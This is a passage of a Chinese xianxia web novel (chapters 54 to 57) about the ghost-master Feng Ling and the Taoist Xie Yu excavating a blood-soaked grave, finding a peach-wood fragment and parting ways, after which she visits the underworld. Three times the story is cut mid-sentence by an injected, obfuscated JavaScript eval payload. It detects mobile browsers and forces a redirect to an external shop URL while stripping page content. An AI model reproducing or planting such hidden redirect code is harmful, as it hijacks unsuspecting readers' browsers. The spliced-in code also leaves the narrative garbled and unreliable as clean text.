“解公子,灵英不太明白你的意思……” 封灵与酆灵英的声音同时响起,内容虽有少许的不同,意思却大抵是一致的。 都纳罕于解玉态度的急转直下。 酆灵英脸色微变。她与解玉都不是无知小儿,自然也不信什么义气缘分。酆灵英找上解玉是有所图,解玉答应酆灵英亦是有所图,彼此都心知肚明的事情,如今却要因为解玉的一句话分崩离析,她如何能不震动。 封灵早隐匿了身形,酆灵英便只能看到解玉立在树下的背影,自然也无法根据前者的表情去猜测些什么。 急急两步上前,酆灵英勉强维持着冷静停在解玉的眼前,状似不解道:“解公子这话说的奇怪……可是在怪罪灵英带公子来了如此危险的地方?若是,灵英在此向公子道个不是,还请公子不要怪罪!” 酆灵英显然深暗说话之道,毫不犹豫地将过错揽到了自己身上,又把解玉高高地架了起来。如此,解玉若拿不出个能说服人的理由便不太好收场了。 只是…… 封灵在一旁冷眼看去,解道长那张好看的脸正绷得厉害,两只手攥紧成拳被遮盖住衣袖之下,似乎已坚定了决心,并不像冲动之下做的草率决定。这就奇怪了,明明进山前还是正常的,只是被幽魂草拖进去做了个梦,怎么就改了主意了? “从前是解某想的太浅,又被钱财糊了眼睛。今日见到酆家上下对祖宗先辈的看重,才惊觉自己此前的举动是何等的不适宜。虽有酆姑娘相邀,解某却也不能一直错踏下去——” 封灵拧着眉将解玉禁了言,并不打算让这家伙把嘴里敷衍的客套话说完。她倒不在意解玉是不是真的生了退意,便是不想掺和进酆家的糟心事里也无妨,只是解玉绝不能在这当头断了与酆灵英的接口……封灵还指着她少家主的身份节省些气力呢! 酆灵英却只以为是解玉改了主意,又从这突兀的停顿中察觉到了什么。解玉或许也同她一样,在由幽魂草构造的那场噩梦中看到了什么,以至醒来后到现在也分不清真实与虚幻。可她不能在这当头放走解玉,便是为了他身后的那位鬼大人也不行! 思及此,酆灵英眼中闪过一丝厉色,原本轻缓的语气也变得尖锐起来,“……解公子,大家同为梦境所困,又或许都在其中看到了什么不好的东西,灵英尚且愿为了真实前行,公子却要因为虚幻而后退了吗!” 像是被戳中了心底的那点暗思,解玉的表情一下子变得极度难看,眼神凶狠地盯向酆灵英,带着连自己都没有意识到的咄咄逼人,咬牙切齿道:“酆姑娘还真是好为人师啊!也不知道姑娘的梦里都有些什么……若不是说自己做了场噩梦,解某只看姑娘如此精神的模样,还以为是一场天大的美梦呢!” 话音刚落,还不等酆灵英做出反应,解玉倒先摸着脖颈愣住了。 他是知道自己被封灵禁了声音的,只是刚才被酆灵英两句话激得生了气,脑子里想到什么,嘴上便不管不顾地说了什么,说完之后才反应过来自己似乎一切正常。 下意识扭头看向封灵,树后的鬼师娘娘也正一副懊恼不已的模样,显然没想到自己还会再闹出这一茬。而酆灵英也立刻发现了解玉的动作,隐晦地投去半分注视,猜测出解玉看的是谁以后,女子的表情一下子轻松起来。 “……鬼大人,灵英求鬼大人相助!” 酆灵英直接越过解玉,停在男人方才看向的地方,姿态恭敬地俯身,全然不顾解玉又难看起来的脸色。 “酆姑娘,你这——” 「解道长,你还是想清楚了再开口罢。」 封灵突然出声,毫不费力地将前者的话堵在了喉间。 「想想清楚……要么你替我传话,要么我直接在她面前现身。只是若我开口,势必会与她结上因果,以后便是无休止的牵扯了。」 封灵的声音又轻又淡,听在解玉的耳里却与惊雷般无异。不敢置信地看向红衣鬼师,男人的眼里隐隐可见几分委屈,似乎没想到封灵这次会站在他的对面。 「鬼大王……」 解玉试图挣扎。 「想好了么?酆灵英还等着呢。」 封灵冷酷无情。 “……酆姑娘有什么想问的,直接与我说便是,何必扰了鬼大、人的清静?” 虽然知道酆灵英看不见,可解玉还是横插了一脚,将自己整个人挡在了封灵的身前,烂着一张脸颇为不爽道。 此话既出,酆灵英便知主动权在自己这里了。不紧不慢地直起身,女子露出了今晚的第一抹浅笑,“哎呀,还以为解公子要与灵英生分了呢,看来是灵英这厢误会了……” 解玉堵着一口气却无法反驳,身边的红衣鬼又正目光灼灼地等着他的答复。左右是改变不了封灵的想法了,解玉最后也只能狠狠别开眼,只当是眼不见心不烦。 酆灵英心中大石落地,眉宇间的异色也消散了不少。只是一想起自己在梦境中的所见之景,仍是有些惊悸不安。 “解公子,那便还按着咱们之前说的,先将这地方的土给掘了吧?” 酆灵英收敛好表情,又变回了一开始与解玉打交道时的和善模样,镇定得像是刚才咄咄逼人的女子不是自己一般。 解玉啧了一声——这也是从封灵身上学来的。又见酆灵英转身便往回走,再不乐意也只能跟上去,空着两只手。 「……解道长,你们会掘地吗?」 封灵不知何时也跟了上来,看着两人衣袂飘飘更似世外之人的模样,忍不住发出一声质疑。 “又不是非要自己动手……” 解玉上下嘴皮翻动了几下,小声地回了封灵一句,又抬着下巴示意前者看一眼酆灵英。 “……敕令四方……速速听召,来!” 酆灵英停下脚步的那一刹,驭使鬼物的法诀也念到了最后一个字。食指与中指并拢,酆灵英动作利落地往地上一指,立刻便出现了两只手握铁锨、鬼身混浊的匠工鬼,空洞着一双眼睛埋头干起活来。 死了还要被召来做苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518728|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力,真是可怜…… 封灵飘在一旁看了两眼,忍不住腹诽道。 “……解公子,灵英求的不过是迎先祖骸骨归家,旁的什么都不会多做,也什么都不会多想。我虽不知道公子此前是为了什么才与我走到了一处,但想来也是有所谋求的。已然到这一步了,解公子又何必再退呢。” 酆灵英盯着匠工鬼的进度,嘴里却与解玉说起话来,带着几分隐约的开解。 “实在是解某心里有数,便不必酆姑娘多费心了。” 解玉的态度依旧算不上多热络,却也不复一开始的针锋相对。 两人就这样沉默下来。 「解玉,你……是梦见我死了吗?」 封灵在一旁听了半晌,突然问道。 「……没有。」 前者的脸一下子变得刷白,却还勉力强撑着。 「傻子,梦见我死了有什么好怕的?你又不是没见过我的真身,一只早死了有千年的老鬼,再死还能死到哪儿去?」 封灵弯着一双笑眼,玩笑般的安慰着。可听在解玉的耳里,却只剩下无尽的悲凉。 是啊,他的鬼大王,早就已经死了。 「你就为了这么个无聊的噩梦,差点断了自己这些日子与酆灵英搭上的桥梁,未免也太不值当了……别怕,我就在这儿呢。」 知道这其中有自己的缘故,封灵便也不好继续做甩手掌柜。自觉担起疏散解玉心病的重担,鬼师娘娘深感自己对上解道长时的脾气是越来越好了。 如此又是一阵,解玉的脸色逐渐趋好,前方酆灵英的活计也趋向尾声。 只是结果,却似乎并不那么令人满意。 “……明明长满了幽魂草,可为什么一点东西也没留下?” 酆灵英茫然站在土堆面前,看着空空如也的深坑一时无法接受。 封灵还在和解玉说话,闻言遂飘到酆灵英的身边,分了丝目光朝坑底望去,解玉紧随其后。 “难道是找错了?” 解玉细细打量了一圈,已被挖开数丈的土坑依旧不见任何外物,更找不到任何奇怪的地方……莫不是酆灵英翻到的书轴是假的? 「你们没找错,再仔细看看。」 封灵点了点被匠工鬼从地底翻出来的深色泥土,朝解玉提醒了一句。 解玉又鹦鹉学舌般说与酆灵英听,两人半蹲在坑边,拈起一把泥土,放在手里观察又是一阵。 还是酆灵英先察觉出了不对,“解公子,你觉不觉得……这土的颜色有些奇怪?” 赤褐色的泥土被两人握在掌心,颜色确实比一般的泥土要少见些。 像是被酆灵英这句话点醒了一般,解玉将泥土凑近自己的鼻边,拧着眉嗅了两下,而后脸色剧变—— “这泥里,有血的味道!” 再看被匠工鬼挖出的深坑,除去表面那层还是常见的土黄色外,再往下的无一例外全都是赤褐色。 这一块“风水宝地”,竟全然被不知是谁的血水给浸透了…… 55. 桃木残片 意识到这一点后,解玉的手不自觉地倾了一下,赤褐色的泥土便顺着指缝漏了下去,落在地上又与其他被挖出来的“同伴”混在一起。 酆灵英愣愣地低下头,看着正被自己握在手里的土团,下意识学了解玉的样子,僵着动作把它凑近自己的鼻下,只一瞬便狠狠掷在了地上,眼底惊惧莫名。 “所以,解公子,我们真的没有找错……” 酆灵英神色还有些怔松,却也比一开始正常许多。这会儿走到深坑边缘的地方,盯着一层又一层的红泥,表情似喜似怨。 解玉抿着嘴一言不发,像是忘了刚才与酆灵英的争执般,紧随其后走到土坑边上,指尖不自觉蜷了蜷,似乎想要握住什么。 奇怪。 太奇怪了…… 且不说近来才踏进抓鬼一途的解玉,酆灵英可是见惯了鬼祟邪物的,什么阴诡怪怖的场景没遇见过,怎可能因为区区一处带血的坑地地便失态至此……封灵心中的异样感愈重,连带着看向解玉的眼神也有些犹疑不定了。 解玉尚未有察觉,只抬手朝坑底扔了张带火星的符纸,看着它落下去,短暂的发出微末光亮后后熄灭,面上凝色不改。 “可是酆姑娘,这里除了被翻出来的土块外,似乎再找不到其他东西了。”解玉细细确认了几下,才扭头朝酆灵英道,“或许是历经的岁月太长,那位女坤先祖已经——” “不可能!” 解玉眼神闪了一下,正要把自己的猜测说出来,却被酆灵英断然否决,又绕过他自己伏在坑沿边上细看起来。 「便是皮肉不存,也还能剩两根碎骨埋在里面的……再说了,这地方也未必真是她家先祖的埋身之地,你说这话是要剜谁的心?」 看着退回到自己身边的解道长,封灵嘴皮上下翻动了两下,似不满,又似提醒。 「我也只是说出了自己看到的东西……酆姑娘自己心有执念,容不得被人说一丝半点的反语,我自然是没办法的。」 解玉今夜,似乎格外的刻薄…… 封灵若有所思地扫了人一眼,又在后者觉察到以前收回视线,兀自敛目不语。 “……不可能什么都没有的,没道理的……我明明、明明——” 深坑边沿,酆灵英几乎已要将整个身体探了进去。一边呢喃着封灵听不懂的话,一边以手刨地,不死心地继续翻找着。 「这样下去也不是办法,再磨蹭些时候天都要亮了,到时候动静也就大了……你过去把她拉开,我来助你们一把。」 封灵沉默注视了一阵,无由来的生出几分恻隐,以肘代手戳了两下身边同样不言语的解玉,红衣鬼师开始自觉指挥起人来。 「……我不要。」 解玉两手交插抱在胸前,态度也是坚决。 「你说过的,只要与酆姑娘接触了便会沾上因果……原也不是咱们的事情,何必非要去惹上一身腥。」 未免封灵追问,解玉更是直接拿出了鬼师娘娘此前的说辞来堵嘴。至于这其中究竟有几分真实可言,便见仁见智了。 「你——」 红眸半眯起来,封灵的话里带了几分隐约的不高兴。本想着解玉今夜的异况与自己脱不开干系,既为始作俑者,她便也多顺着人些,总要先把人恢复常态才是。可哪里能想到,这家伙受用良好不说,如今更开始句句反驳,几欲要蹬鼻子上脸了! “……解公子,解公子!”酆灵英的声音突然急切起来,“你快来看,这东西、这东西是不是棺木的残片!一定是埋过人的……我就知道,这里一定是埋过人的!” 解玉呼吸一滞,根本无暇顾及封灵此刻的表情,只脚步匆匆地走到酆灵英身前,又接过她从一堆土块中挖出来的寸余木片细看起来。 不是自然老去或受灾害后被深埋进泥沙的断树残枝,酆灵英找到的木片,真的是被人砍伐后造以他用的……残体虽小,表面的漆色却隐隐可见,凑近鼻尖,甚至还能闻到隐隐约约的芳香。 「阴沉木,也叫千年水沉木。」 封灵慢悠悠地飘了过来,只一眼便认出了解玉手里之物,虽还没从男人今夜一次又一次的反驳中舒过气来,却依旧习惯性地做起了解释的活计。 「此处从前是村落,平地成山后才有了树木与水塘,这东西应该是千年前就被深埋进地底的。面上涂了漆料,又被经年累月地浸泡在血水湿地之中,方才养出了些许的香气,甚至丝毫不见腐烂……倒是少见。」 “……鬼大王,你为何会这样说?” 或许是因这东西的出现乱了心神,解玉一时不察,竟直接当着酆灵英的面问出了声,又惹来后者希冀的目光。 「阴沉木很难养成,便连我也只见过楠木和麻柳养出来的两块罢了。至于你手里的这片么,虽只剩些残片,却是比它们更少见的。」 封灵哼笑一声,故意不将话说全乎。 解玉便明白这是鬼师娘娘还记着自己之前对她的态度呢……可话到此处断然是没有止住的道理的,酆灵英也还在一旁目光灼灼地等待着。解玉便也干脆的拱手作揖,老实摆出真诚道歉的姿态,不顾酆灵英一瞬间奇怪起来的表情,仍在心底请求道—— 「鬼大王,你就替我解解惑吧!」 封灵的嘴角愉悦地向上扬了一下,又克制着迅速拉回一条直线,故意带着找茬的口吻继续挑刺。 「我教你的,乌贺教你的,你这些天是不是全抛到脑后去了……我刚才说的话,你莫不是一句都没认真听?」 封灵嫌怪似的瞪了人一眼,又假装勉强地提点了两句。 「我当然记得你说了什么!你刚才说,阴沉木很难养,你也只见过麻柳和楠木的……」 解玉先是反驳了一句,而后又重复起封灵的话来,只是刚开了个头,便不自觉低下了声音。 「解道长,你这是终于反应过来了?」 封灵凑近到解玉的眼底下,笑意难掩地反问道。 “楠木与麻柳都是阴气极重的树料,阴沉木里也有阴这个字……” 解玉低低一声呢喃,立刻便被身边关注着动静的酆灵英捉个正着,又连声追 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545864|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问起来,“阴沉木?解公子,是鬼大人同你说我们找到的东西叫阴沉木吗!” 「楠木多用作棺材,麻柳则常栽种于阴宅水地之处,所以它们是一种树木里最容易养成阴沉木的,但你们手里的这个却不是……解道长,你再仔细瞧瞧,手里拿的究竟是用什么树材残剩下来的木片?」 听到这话,解玉顾不得木片上残留的赤褐色泥土,只不住地来回翻看着,又唯恐自己遗漏了什么细节,两只眸子凑得极近。可无奈那木片已然太过陈旧,又委实与其他的木头没有区别,解玉无法,只得求助似的又看向封灵。 「是桃木。」 封灵只说了三个字,解玉便明白她方才是什么意思了。 阴沉木招阴,而桃木,却辟邪…… 全然相反的两样东西,却在如今的百望山里共存了。 没有隐瞒酆灵英的必要,就在女子第二次发出疑问时,解玉毫无保留地将自己从封灵口里听来的情况俱数相告。 两人就跟想到了什么似的,彼此交换了一道眼神,又同时陷入了沉默。 “解公子,我……” 酆灵英垂目思忖了片刻,率先打破了两相枯坐的僵局,正要与解玉商量些什么,封灵陡然升高的声音却蓦地出现在前者心底—— 「往左边倒!」 解玉立刻翻身坐起,反应极快地拉过酆灵英的手臂,又按着封灵的话一起倒向左边的空地。紧跟着便有一柄铁锨擦过两人的面颊,又力道不减地插入地面。 铁锨的样式却分外眼熟……分明是她驭使的匠工鬼手里握着的那把! 酆灵英惊怒地看过去,那掘地后便被她要求静立不动的匠工鬼,其中一只的手上确确实实少了一把铁锨,而另一只正将尖头的那处对准解、酆二人。像是感觉到了注视一般,匠工鬼抬着无神的眼睛咧嘴一笑,又将第二把铁锨用力地掷了出去。 这次有了防备,两人闪躲起来便也更加容易。酆灵英在地上滚了一圈,迅速撑住地面站了起来,带着被自己人挑衅的怒意,狠狠掐了记法诀便朝两只匠工鬼拍去。后者毫无挣扎之力地呜咽一声,立时化为了一道灰烟。 酆灵英尤嫌不够,收回手后又仰头左右张望起来,语气十足的凶狠,“……哪里来的无胆匪徒,竟敢在我驭使的小鬼身上耍阴招。若被我找到了,定叫你们后悔惹上酆家!出来!” 可除了林叶被夜风吹动时发出的簌簌响声外,再没有其他的动静。 「鬼大王,刚才我们说话的时候,是还有其他人在暗地里窥伺吗?」 解玉由始至终都没有感觉到任何陌生的气息,可匠工鬼背地偷袭也是事实。思来想去无果之下,便只能求助起他们中修为最深的鬼师娘娘。 「这些鬼又不是天生该受酆家驭使的,与其问我是不是有生人偷袭,倒不如先问问酆灵英自己……难道就一直没出过任何岔子么?」 封灵的眼里散着愉悦的光芒,视线不经意间落在了那桃木残片之上,几瞬后又毫无反应地移开。 怀里却有什么东西烫了一下。 56. 暂作分离 那烫意只一瞬便消失了,快得就像是封灵出现了幻觉一般。看了眼正因自己的话转头询问酆灵英的解玉一眼,红衣鬼师缓缓抚上自己的胸口,隔着衣料贴上了那枚从到手后便一直放在怀里的玉玦。 刚才的烫意,正是从这东西身上涌出来的。 解玉曾说这玉玦有伤人的本事,可从她拿到手至今,并没有发现任何的怪异之处。除了在外观和颜色上稍显陈旧了些,与一般的玉饰无有半点区别。她也尝试过在玉玦上裹缠住自己的鬼力,却无论如何也没有其他的反应。 若非笃定解玉不会欺骗自己,她都要以为手里的这枚玉玦就是个人间的普通玩意了…… 瞥了眼似乎又开始争执起来的两人,封灵有些无趣地收回视线,余光正落在不知何时又重新落回地面的桃木残片上。猜想是刚才事发突然,这两人匆忙躲避时不慎落下的,此刻被泥土盖去大半,一时未有人留意。 指尖轻轻一勾,那木片便悄无声息地飞去了封灵的手里,又被严严实实地挡在了赤红袖角之下。指腹摩挲了两下,封灵还来不及舒开眉眼,便感觉拇指被什么东西划了一下,传来少许的刺痛感。 封灵吃痛般蹙了下眉,又趁着还没被人发觉,迅速将木片收进随身的兜袋。隐晦地活动了两下手指,封灵眼底多了几分讶色。真不愧是辟邪用的桃木,虽已被养成了阴沉木,可千年过去都还没被阴气所蚀,竟仍能伤到她这副鬼身…… 无声感慨了两句,封灵重又看向一旁争执步入尾声的两人。酆灵英的面色有些沉重,眉心虽还凝着未散的恼意,反驳的声音却已然低了下去,怕是已对解玉说的话信了三分。这会儿正咬紧牙关,眼底星光摇摇欲坠,似乎有什么坚信不疑的东西将要崩塌。 “……酆姑娘,我并非要挑拨你与自家的关系,更没有借机诋毁的意思。”解玉的话也到了尾声,“只是已然存了怪异之象,姑娘便该更加留心才是,而非似现在这般踟蹰不前……酆姑娘对人对物从来敏锐,怎么回回落到自家的身上,便不肯再上前哪怕一步了呢!” 本意是因为封灵的那句话给了警醒,只解玉到底念着这几月的交情,言辞间不免多了三分真心,话到最后甚至带了苦口婆心的意味。 解玉这家伙,刚才还一副要跟人划清界限的激烈架势呢,这会儿倒跟换了个魂似的,又开始替酆灵英打算起来了。 封灵轻轻笑了一声,却没有立刻回到解玉的身边,反而好整以暇地围观起来,像是在等着看什么好戏一般。 “……解公子,你说的话灵英心里不是没有数,可从来是言语易,行动苦。” 酆灵英这会儿已不见气恼,整个人却疲态尽显,“我父看重我,弟妹孺慕我,家中同辈亦处处以我为先……解公子,你若身处灵英之境地,又能够似话里所说,理智到什么情分也不讲地对他们重责么?” 根本不等解玉答话,酆灵英便又自顾自地开口,“我知道公子是什么意思,灵英也感激公子的直言不讳。可眼下,灵英不止这一件事情要办……想来公子也是一样。待公子与灵英都将彼此最要紧的事情解决了,再寻地细论驭鬼术的好坏与我酆家的来日,如何?” 乍一听似有未言尽之处,细究却更像是彼此间的心照不宣——两人自噩梦中醒转后的心照不宣。 “自然。” 解玉沉默了几瞬,也不知在顾虑什么,可最后仍是点头应下。 封灵听着一点点拧起了眉,这两人究竟在打什么哑谜……幽魂草是不会将他们拖进同一场噩梦里的,可解玉与酆灵英的争吵与握手言和却俱是在两人苏醒后发生的。且不论酆灵英的梦境,解玉的梦里怕是不止有她的死…… 这家伙,绝对还瞒了许多的事情! “解公子,我——” 酆灵英还欲再说些什么,却听见林地外传来几声突兀的呼喊,听着像是在喊少家主三个字——是酆家人找过来了。 “……少家主?真是少家主!您怎么没留在客房休息,又回这百望山做甚?家主他正到处找您呢!” 不多时,一名身穿葛衣,面蓄短须的中年男子便出现在酆灵英面前,几步开外还跟了数个手握长剑的护卫随从。 解玉先一步退到了树后阴影的地方,借着封灵的遮挡匿去了身形,这会儿默不作声地听着外头的响动,微垂着脑袋不知在想些什么。 葛衣男人疾步上前,先警惕地朝四周环视了一圈,在没有发现第二道人影后,眼中竟奇怪地露出了丝失望。抬手向酆灵英见了礼,男人又态度恭敬地重复道:“少家主,家主正在客栈等您呢……您这身后的土坑,又是怎么一回事?” 酆灵英面色如常,“风水越好的地方,便越有邪物鬼祟寄居。我不放心,所以趁阴气最重的时候过来看看,果然发现了几只白日不曾察觉的漏网之鱼,便干脆自己除掉了,这坑就是方才缠斗时留下的……卓叔,父亲怎会大半夜的突然找我,可是出了什么要紧的事情?” 酆灵英没有忽略掉男人眼里一瞬而过的失望,更对人群中数把出鞘的泛着寒光的长剑看得分明,语气平淡寻常不说,更从头到尾没往解玉的方向瞥去一眼。 说完,更是先一步往外走去。 “家主见今夜月明风清,本想请少家主同往庭院观星的,不想下人们竟扑了个空,这才发现少家主您不在客栈的事情……少家主、是一个人来的?” 卓叔亦步亦趋,右手却背在身后,动作隐晦地挥了两下,一众护卫便姿势统一的收剑回鞘,又悄无声息地隐散于四周。 “我又不是酆七那小子,出趟门动辄便要十几个门生跟随……不过是来百望山查探下情况罢了,我一个人自是足够。” 酆灵英蓦地停下来,像是看稀罕物般盯着卓叔打量了好几眼,“卓叔,你从前可不会问这样的问题……今夜是怎么?” “您如今是咱们的少家主,明里暗里也不知道要被多少双眼睛盯着,从前也不乏眼热的对咱们家里人下手……对您自是再多的看护也不为过。” 卓叔的回答亦无有可指摘的地方。 酆灵英笑了一下,停下的脚步复又动作起来,“我哪里就需要看护了……也罢,我正想将今夜的事说与父亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565775|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道呢……这便回去吧!” 卓叔欸了一声,摸着额头不知何时渗出的冷汗,迎着夜风打了个寒颤,连忙凑上前把人跟紧。 一行人消失在林野间。 直到生人的气息完全散去,封灵才撤去对解玉的遮蔽,任由前者扶着树干,一点点从阴影下走出来。 “鬼大王,你这一次……似乎在人间逗留得太久了。地府的鬼差们就不会发现端倪,哪日找上门来拿你问罪吗?” 解玉盯着酆家一众离开的方向,嘴里却突然问起了不相干的话。 封灵一下子警惕起来,“解玉,你说这话是什么意思?” “太子近来对我颇为信任,除了一贯的让我帮他驱鬼除祟外,也会在遇到有意思的事情时,命人请我与他闲话二三……我手里如今也有许多的活计可做,不必担心缺了银钱——” 解玉的话还没说完,便被红衣鬼师不耐烦地打断,“你到底想说什么!” “……鬼大王,我如今勉强也可独当一面了,”解玉极轻微地偏了下脑袋,将大半张脸重新掩于阴影之下,“要不,你就先回地府呆一段时间,也在鬼差们的面前露露脸,过段日子再回人间?” “你这是,想赶我走了?” 封灵的语气中全然不见怒气,一张脸更是平静无波。 解玉僵在原地没有动作,“……不是,我就是担、担心你,怕你再跟上次那样,因为我的缘故被无常们带走受罚。” 封灵近前两步,似乎想要一看态度陡然转变的解道长此刻的表情,却被前者早有预料般转了个方向躲开了。 “还有你前些日子受的伤,应该也是需要再休养的罢……干脆就趁这次回去,好好的让泰媪大人帮着调理一通。我、我还是会每日给鬼大王你供奉香火的,这是咱们当初约好的事情,我一定会照办的……你放心。” 解玉越说越快,越说越急。明明是自己起的头,却又因迟迟听不到封灵的答复而焦躁不安起来。 “……解玉,你听好了。” 封灵不再试图靠近,一张白瓷般的脸透着深深的冷意,“我不管你是因为什么原因想让我走,我只要从这里离开,便再不是你轻描淡写几句能求回来的了。你的生死,也不会在我的庇护之内了。” 解玉的脸一下子变得惨白,眼眶隐隐约约有些泛红,却仍是咬紧不改说辞,“我、我不是赶你走,就是想让你好好的,我总不能一直躲在你的后面!” 封灵沉默了半晌,再开口时语气一下子暴躁起来,“混账东西!我都说成这样了,你竟敢还是要让我回地府!好一个解道长,当真是翅膀硬了!我看你一个人能撑多久!到时候就算你三跪九叩的出现在我面前,也别想我会再对你好了!” 说完,又怒气不减地朝男人脚边打去一道劲风,但见解玉毫无反应,指着人连连说了几个好字,方踏着重重的脚步声消失。 直到天边跃出第一道日光,解玉才身形不稳地转回身,红着一双眼睛盯住封灵离开的方向不放—— “鬼大王……” “……封灵。” 57. 鬼市探问 “鬼师娘娘好呀!” “……好久不见鬼师娘娘了!” “鬼师娘娘留步,小店新上了一批纸扎娃娃,要不要给您留两个?” “封娘娘……” 封灵一路穿过酆都城的西角集市,敷衍般的点了几下头,又脚步不停地走出鬼门关。还不等跨上奈何桥,便听到孟婆站在血河池边的一声呼唤—— “……封灵儿?你怎么回地府了,还是直接从酆都城里出来的?” 孟婆接过新鬼手里空荡荡的汤碗,看也不看地搁回桌面。随口喊来路过的牛头顶上,泰媪大人眼疾手快地拦下了步履匆匆的封灵,又将其拉至小摊最里处坐下。 “你不在人间守着那位解道长,无端端的回来做甚?地府近来也没安排你的差事呀!” 孟婆搬了个矮凳,一面贴着封灵坐下,一面忍不住奇怪道。 “他?他如今翅膀硬了,不乐意我跟在他身边了,要把我撵走呢!” 封灵本是有事情要出去一趟的,既被孟婆拦下,一时便也不着急了。两手交叉抱胸倒在摇椅的椅背上,还没躺舒坦便听见前者问起了解道长,当即翻了个大大的白眼,语气颇为烦躁。 孟婆一下子笑出了声,“撵你?封灵儿,你是见我太忙,故意与我说笑逗趣的么……解道长敢撵你?只有你不要他的份儿,他哪里敢撵你!” 勉强掀了掀眼皮,封灵不咸不淡地哼了一声,“敢不敢的还重要么?他都已经把事情做出来了,我当然得回地府满足他!” “你这可不像被惹急了的表情,看来是事出有因哪……解道长知道你在糊弄他吗?” 孟婆左右打量了两眼,立刻便笃定封灵在说假话。地府上至阎王鬼差,下至游荡的新老鬼魂,皆知鬼师娘娘的脾气是出了名的差,真要被不长眼的挑衅惹怒了,对方哪还有毫发无伤的机会,皮都要被扒下一层来。 若真按封灵说的,她是被解玉撵走后回的地府,这会儿她便该在奈何桥头给那位解道长递孟婆汤了…… “他都有胆子来骗我了,我怎么就不能糊弄他了?” 也没指望能瞒住孟婆,封灵咧着嘴角,懒得再摆出一副假面,“也不知道那家伙在想些什么,我又不是非要把他绑在身边,自己想做什么去做便是,何必遮遮掩掩的把我支开……跟素日里糊弄别人的样子差太多了,是打量着我很好骗么!” “你竟没把人抓着问个究竟?” 隔空掀翻一只试图偷溜的新鬼,孟婆好奇心不改,“封灵儿,这可不像是你的作风……还这样不管不顾的回来,你就不担心解道长在人间出事吗?” 封灵帮着将那小鬼压住,又朝牛头扔了块石头,等后者注意到此地动静,将这只胆子颇大的新鬼押走后,方才答话:“我也有事情要回地府呢。本还在计划哪日合适,他自己倒先送上门来了……借此机会叫他愧疚一次,不也挺好的吗?再说了,上头不还有个那谁么,有他跟着,我也不怕姓解的出事。” 鬼师娘娘虽未点名道姓,但孟婆也知道她意指何人——无非就是被阎魔王藏起来的纪苏文罢了。 这么一听,倒还是她认识的封灵,就不知道那位解道长要多久才能发觉,这会儿是不是已经因为封灵的离开而自疚不安起来。 “……也不知道解道长遇见你,是幸,还是不幸?” 孟婆无奈一摇头,不再问,也不再管。 “自然是幸,”封灵柳眉一横,“他遇见我之后,不就开始发家致富了么?” 说着又从摇椅上起身,一面理着衣上的褶皱,一面头也不抬地道:“先不和你说了,我还要去趟黄泉,晚了怕就要赶不上了。” “黄泉?那地方的风沙最近刮得厉害,你没事还是少过去为好,免得被划了脸,可就得不偿失了。” 孟婆随口一提,旋即反应过来,“……封灵儿,你不会就为了去趟黄泉,便这样与解道长分开了罢?” 封灵已飘出一段距离,闻言遥遥地停了下来,沉默几息后方扬声喊道:“……听说鬼市还没散呢,我去给解玉挑些他用得上的!” “……敢情是回来搜刮东西的。” 孟婆恨铁不成钢的看着那道红影远去,唉声叹气地跟着起身,正要挥开牛头自己回到小摊上,却忽的脸色一变—— “……该死,谢必安!” 那厢,封灵已出现在了黄泉的边界,按照上次的记忆摸到了鬼市的结界。又一次从老翁鬼手里接过面具,封灵轻车熟路地踏进鬼市的大门。 “头家,别来无恙啊!” 封灵虽循着鬼群的方向一点点前进,红眸却不住地在四周逡巡,直到看到角落里某个熟悉的摊位,才无声勾起一抹笑弧,几步挤出鬼群又停在堆满货物的长桌前。 正倒在躺椅上假寐的摊主一下子打了个寒颤,被堪称噩梦的声音吓得坐直了身,手里抱着的脑袋也跟着跌在了地上,滚了两圈后恰好停在封灵的脚边。 骨碌碌的眼珠在眶洞里转的厉害,看清红衣的主人后,摊主哎呦一声,迅速佝着身体往地面趴去。像是在找寻自己掉落的脑袋般,一面不住地伸长手摸索着,一面又小心挪动着往桌下躲去。 封灵唰的一下抽出折扇,不偏不倚地插进距脑袋毫厘之间的地面,笑容极度和善,“想做没有脑袋的头家就直说,我很乐意帮你这个小忙。” 脑袋在地上弹了几下,摊主堪称矫健地从桌子底下又爬了出来。小心翼翼地将自己的头颅从封灵的折扇后面扒拉出来,又迅速摁回脖颈的血洞上,摊主这才讨好的一笑,“卑人刚刚睡迷糊了,竟没发现是您大驾光临……敬问鬼师娘娘好啊!” 指尖轻轻一勾,封灵将折扇收回手中,慢吞吞地瞥去一眼,赏脸般的点了头,“看来头家还没有忘记我呢,真是封灵的荣幸。” 摊主不住地搓着手,露出抹比哭还难看的笑,十足谨慎地问道:“鬼师娘娘驾临小摊,可是有事情要找卑人哪?” 